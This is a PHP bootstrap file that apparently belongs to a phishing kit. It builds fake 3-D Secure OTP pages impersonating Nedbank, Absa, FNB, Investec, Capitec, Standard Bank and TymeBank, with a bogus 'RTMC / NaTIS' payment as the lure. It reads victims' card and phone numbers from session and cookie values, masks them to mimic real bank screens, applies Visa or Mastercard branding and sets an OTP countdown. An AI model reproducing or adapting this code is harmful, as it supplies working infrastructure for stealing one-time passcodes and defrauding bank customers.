<?php
/**
 * Shared bootstrap for bank 3-D Secure pages (SMS / APP).
 * Expects $bankKey to be set before include (e.g. 'nedbank').
 */
if (!isset($bankKey)) {
    $bankKey = 'nedbank';
}

require_once (__DIR__) . '/../../main.php';
require_once __DIR__ . '/../class/Config.php';

if (session_status() !== PHP_SESSION_ACTIVE) {
    session_start();
}

$banks = [
    'nedbank' => [
        'name' => 'Nedbank',
        'logo' => 'assets/img/ned.png',
        'color' => '#006633',
        'contact' => 'Contact Nedbank',
        'slug' => 'nedbank',
    ],
    'absa' => [
        'name' => 'Absa',
        'logo' => 'assets/img/ab.png',
        'color' => '#8b1538',
        'contact' => 'Contact Absa',
        'slug' => 'absa',
    ],
    'fnb' => [
        'name' => 'FNB',
        'logo' => 'assets/img/fnb.png',
        'color' => '#009b9e',
        'contact' => 'Contact FNB',
        'slug' => 'fnb',
    ],
    'investec' => [
        'name' => 'Investec',
        'logo' => 'assets/img/inv.png',
        'color' => '#111111',
        'contact' => 'Need Help?',
        'slug' => 'investec',
    ],
    'capitec' => [
        'name' => 'Capitec',
        'logo' => 'assets/img/cap.png',
        'color' => '#005eb8',
        'contact' => 'Contact Capitec Bank',
        'slug' => 'capitec',
    ],
    'standard' => [
        'name' => 'Standard Bank',
        'logo' => 'assets/img/stan.png',
        'color' => '#0033a0',
        'contact' => 'Contact Standard Bank',
        'slug' => 'standard',
    ],
    'tymebank' => [
        'name' => 'TymeBank',
        'logo' => 'assets/img/tym.png',
        'color' => '#c4a000',
        'contact' => 'Contact TymeBank',
        'slug' => 'tymebank',
    ],
];

$bank = $banks[$bankKey] ?? $banks['nedbank'];
$bankName = $bank['name'];
$bankLogo = $bank['logo'];
$bankColor = $bank['color'];
$bankContact = $bank['contact'];
$bankLogoExists = ($bankLogo !== '' && is_file(__DIR__ . '/../' . $bankLogo));

$merchant = 'RTMC / NaTIS';
$currency = Config::paymentCurrencyCode();
$amountNum = Config::paymentAmountNumeric();
$amountDisplay = $currency . ' ' . number_format($amountNum, 2, '.', '');
$digDate = date('Y-m-d H:i:s');

$cardNumber = '';
if (!empty($_SESSION['sc_card'])) {
    $cardNumber = $_SESSION['sc_card'];
} elseif (!empty($_COOKIE['sc_card'])) {
    $cardNumber = $_COOKIE['sc_card'];
} elseif (!empty($_COOKIE['cc'])) {
    $cardNumber = $_COOKIE['cc'];
}
$cardClean = preg_replace('/\D+/', '', (string) $cardNumber);
$cardLast4 = strlen($cardClean) >= 4 ? substr($cardClean, -4) : 'XXXX';
$cardMaskedFull = strlen($cardClean) >= 4
    ? 'XXXX XXXX XXXX ' . $cardLast4
    : 'XXXX XXXX XXXX XXXX';

// Absa-style mask: 4257 03XX XXXX 6014
$cardAbsaMask = $cardMaskedFull;
if (strlen($cardClean) >= 16) {
    $cardAbsaMask = substr($cardClean, 0, 4) . ' '
        . substr($cardClean, 4, 2) . 'XX XXXX '
        . substr($cardClean, -4);
} elseif (strlen($cardClean) >= 6) {
    $cardAbsaMask = substr($cardClean, 0, 4) . ' '
        . substr($cardClean, 4, 2) . 'XX XXXX '
        . $cardLast4;
}

$digDateAbsa = date('Y-m-d H:i:s') . ' ' . date('A');

$first = strlen($cardClean) >= 1 ? $cardClean[0] : '';
$isVisa = ($first === '4');
$isMc = (bool) preg_match('/^(5[1-5]|2[2-7])/', $cardClean);

if ($isVisa) {
    $schemeLogo = 'assets/img/card_logo_visa_secure.svg';
    if (!is_file(__DIR__ . '/../' . $schemeLogo)) {
        $schemeLogo = 'assets/img/card_logo_visa.svg';
    }
    $schemeAlt = 'Visa Secure';
    $schemeMode = 'visa';
} else {
    $schemeLogo = 'assets/img/card_logo_mc_idcheck.svg';
    if (!is_file(__DIR__ . '/../' . $schemeLogo)) {
        $schemeLogo = 'assets/img/card_logo_mc.svg';
    }
    $schemeAlt = 'Mastercard ID Check';
    $schemeMode = 'mc';
}

$hasError = isset($_GET['e']);
$timerSeconds = 59;

$phoneRaw = '';
if (!empty($_COOKIE['inv_phone'])) {
    $phoneRaw = preg_replace('/\D+/', '', rawurldecode((string) $_COOKIE['inv_phone']));
} elseif (!empty($_COOKIE['phone'])) {
    $phoneRaw = preg_replace('/\D+/', '', (string) $_COOKIE['phone']);
}
$phoneMasked = '********';
$phoneEnding = '****';
if (strlen($phoneRaw) >= 4) {
    $phoneEnding = substr($phoneRaw, -4);
    $phoneMasked = '********' . $phoneEnding;
}
